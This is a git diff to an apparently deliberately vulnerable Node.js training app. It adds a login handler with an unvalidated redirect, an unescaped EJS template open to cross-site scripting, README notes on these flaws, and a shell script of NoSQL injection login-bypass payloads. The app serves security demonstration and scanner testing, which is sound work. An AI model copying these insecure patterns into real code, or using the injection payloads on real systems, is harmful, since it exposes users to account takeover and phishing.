diff --git a/README.md b/README.md index 00a0af2dc1..f064851bac 100644 --- a/README.md +++ b/README.md @@ -42,7 +42,12 @@ npm run cleanup ## Exploiting the vulnerabilities -This app uses npm dependencies holding known vulnerabilities. +This app uses npm dependencies holding known vulnerabilities, +as well as insecure code that introduces code-level vulnerabilities. + +The `exploits/` directory includes a series of steps to demonstrate each one. + +### Vulnerabilities in open source dependencies Here are the exploitable vulnerable packages: - [Mongoose - Buffer Memory Exposure](https://snyk.io/vuln/npm:mongoose:20160116) - requires a version <= Node.js 8. For the exploit demo purposes, one can update the Dockerfile `node` base image to use `FROM node:6-stretch`. @@ -50,7 +55,31 @@ Here are the exploitable vulnerable packages: - [ms - ReDoS](https://snyk.io/vuln/npm:ms:20151024) - [marked - XSS](https://snyk.io/vuln/npm:marked:20150520) -The `exploits/` directory includes a series of steps to demonstrate each one. +### Vulnerabilities in code + +* Open Redirect +* NoSQL Injection +* Command execution +* Cross-site Scripting (XSS) +* Security misconfiguration exposes server information +* Insecure protocol (HTTP) communication + +#### Open redirect + +The `/admin` view introduces a `redirectPage` query path, as follows in the admin view: + +``` + +``` + +One fault here is that the `redirectPage` is rendered as raw HTML and not properly escaped, because it uses `<%- >` instead of `<%= >`. That itself, introduces a Cross-site Scripting (XSS) vulnerability via: + +``` +http://localhost:3001/login?redirectPage="> +``` + +To exploit the open redirect, simply provide a URL such as `redirectPage=https://google.com` which exploits the fact that the code doesn't enforce local URLs in `index.js:72`. + ## Docker Image Scanning diff --git a/app.js b/app.js index b668f198bc..f3c58b1d99 100644 --- a/app.js +++ b/app.js @@ -45,8 +45,10 @@ app.use(fileUpload()); // Routes app.use(routes.current_user); app.get('/', routes.index); +app.get('/login', routes.login); +app.post('/login', routes.loginHandler); app.get('/admin', routes.admin); -app.post('/admin', routes.admin); +app.get('/account_details', routes.account_details); app.post('/create', routes.create); app.get('/destroy/:id', routes.destroy); app.get('/edit/:id', routes.edit); diff --git a/exploits/nosql-exploits.sh b/exploits/nosql-exploits.sh index 432abfc39c..651471f455 100644 --- a/exploits/nosql-exploits.sh +++ b/exploits/nosql-exploits.sh @@ -4,17 +4,17 @@ if [ -z "$GOOF_HOST" ]; then fi # Default working case - form fill -alias ns1="echo -n 'username=admin&password=SuperSecretPassword' | http --form $GOOF_HOST/admin -v" +alias ns1="echo -n 'username=admin&password=SuperSecretPassword' | http --form $GOOF_HOST/login -v" # JSON working login -alias ns2='echo '"'"'{"username":"admin", "password":"SuperSecretPassword"}'"'"' | http --json $GOOF_HOST/admin -v' +alias ns2='echo '"'"'{"username":"admin", "password":"SuperSecretPassword"}'"'"' | http --json $GOOF_HOST/login -v' # failed login -alias ns3='echo '"'"'{"username":"admin", "password":"WrongPassword"}'"'"' | http --json $GOOF_HOST/admin -v' +alias ns3='echo '"'"'{"username":"admin", "password":"WrongPassword"}'"'"' | http --json $GOOF_HOST/login -v' # successful login, NOSQL Injection, knowing the username -alias ns4='echo '"'"'{"username": "admin", "password": {"$gt": ""}}'"'"' | http --json $GOOF_HOST/admin -v' +alias ns4='echo '"'"'{"username": "admin", "password": {"$gt": ""}}'"'"' | http --json $GOOF_HOST/login -v' # successful login, NOSQL Injection, without knowing the username -alias ns5='echo '"'"'{"username": {"$gt": ""}, "password": {"$gt": ""}}'"'"' | http --json $GOOF_HOST/admin -v' +alias ns5='echo '"'"'{"username": {"$gt": ""}, "password": {"$gt": ""}}'"'"' | http --json $GOOF_HOST/login -v' diff --git a/routes/index.js b/routes/index.js index a226e73d6a..68a183c0f3 100644 --- a/routes/index.js +++ b/routes/index.js @@ -33,25 +33,48 @@ exports.index = function (req, res, next) { }); }; - -exports.admin = function (req, res, next) { - console.log(req.body); +exports.loginHandler = function (req, res, next) { User.find({ username: req.body.username, password: req.body.password }, function (err, users) { if (users.length > 0) { - return res.render('admin', { - title: 'Admin Access Granted', - granted: true, - }); + const redirectPage = req.body.redirectPage + return adminLoginSuccess(redirectPage, res) } else { - return res.render('admin', { - title: 'Admin Access', - granted: false, - }); + return res.redirect('/admin') } }); +}; +exports.login = function (req, res, next) { + return res.render('admin', { + title: 'Admin Access', + granted: false, + redirectPage: req.query.redirectPage + }); }; +exports.admin = function (req, res, next) { + return res.render('admin', { + title: 'Admin Access Granted', + granted: true, + }); +}; + +exports.account_details = function (req, res, next) { + return res.render('account_details', { + title: 'Account details', + granted: true, + }); +}; + +function adminLoginSuccess(redirectPage, res) { + console.log({redirectPage}) + if (redirectPage) { + return res.redirect(redirectPage) + } else { + return res.redirect('/admin') + } +} + function parse(todo) { var t = todo; diff --git a/service/adminService.js b/service/adminService.js new file mode 100644 index 0000000000..0ab6316ab6 --- /dev/null +++ b/service/adminService.js @@ -0,0 +1,12 @@ +// @TODO use this adminService file once Snyk Code for VSCode +// is able to navigate to cross-file paths in the vuln description +/** +module.exports.adminLoginSuccess = function(redirectPage, res) { + console.log({redirectPage}) + if (redirectPage) { + return res.redirect(redirectPage) + } else { + return res.redirect('/admin') + } +} +*/ \ No newline at end of file diff --git a/views/account_details.ejs b/views/account_details.ejs new file mode 100644 index 0000000000..e105f89e90 --- /dev/null +++ b/views/account_details.ejs @@ -0,0 +1,32 @@ +<% layout( 'layout' ) -%> + +

<%= title %>

+ +
+
+
+
First name
+ +
+ +
Last name
+ +
+ +
Country
+ +
+ +
Phone number
+ +
+ +
Email
+ +
+ +
+
+
diff --git a/views/admin.ejs b/views/admin.ejs index 35e22003ac..68db964585 100644 --- a/views/admin.ejs +++ b/views/admin.ejs @@ -5,7 +5,7 @@ strong {font-weight: bold}

<%= title %>

-
+ <% if( granted == false ){ %>
username
@@ -14,6 +14,7 @@ strong {font-weight: bold}
password
+